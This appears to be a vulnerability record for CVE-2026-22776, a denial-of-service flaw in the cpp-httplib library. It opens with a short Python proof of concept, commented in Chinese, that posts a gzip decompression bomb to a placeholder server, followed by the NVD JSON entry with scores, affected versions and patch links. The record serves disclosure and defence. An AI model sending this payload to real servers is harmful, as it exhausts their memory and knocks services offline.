CVE-2026-22776

import gzip import requests # 构造高压缩比恶意数据 original_data = b'A' * (1024 * 1024 * 100) # 100MB的重复数据 compressed_data = gzip.compress(original_data) print(f"Original size: {len(original_data)} bytes") print(f"Compressed size: {len(compressed_data)} bytes") print(f"Compression ratio: {len(original_data) / len(compressed_data):.1f}:1") # 发送恶意请求 url = "http://target-server/api/upload" headers = { 'Content-Encoding': 'gzip', 'Content-Type': 'application/octet-stream', 'Content-Length': str(len(compressed_data)) } try: response = requests.post(url, data=compressed_data, headers=headers) print(f"Response status: {response.status_code}") except Exception as e: print(f"Request failed: {e}")

{"cve": {"id": "CVE-2026-22776", "sourceIdentifier": "[email protected]", "published": "2026-01-12T19:16:03.630", "lastModified": "2026-01-15T22:43:10.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to version 0.30.1, a Denial of Service (DoS) vulnerability exists in cpp-httplib due to the unsafe handling of compressed HTTP request bodies (Content-Encoding: gzip, br, etc.). The library validates the payload_max_length against the compressed data size received from the network, but does not limit the size of the decompressed data stored in memory."}, {"lang": "es", "value": "cpp-httplib es una biblioteca C++11 multiplataforma, de un solo archivo y solo de cabecera HTTP/HTTPS. Antes de la versión 0.30.1, existe una vulnerabilidad de denegación de servicio (DoS) en cpp-httplib debido al manejo inseguro de cuerpos de solicitud HTTP comprimidos (Content-Encoding: gzip, br, etc.). La biblioteca valida el payload_max_length contra el tamaño de los datos comprimidos recibidos de la red, pero no limita el tamaño de los datos descomprimidos almacenados en memoria."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-409"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yhirose:cpp-httplib:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.30.1", "matchCriteriaId": "CFD0603E-49FC-455F-AEE6-0BF4ADCC6E54"}]}]}], "references": [{"url": "https://github.com/yhirose/cpp-httplib/commit/2e2e47bab1ae6a853476eecbc4bf279dd1fef792", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-h934-98h4-j43q", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}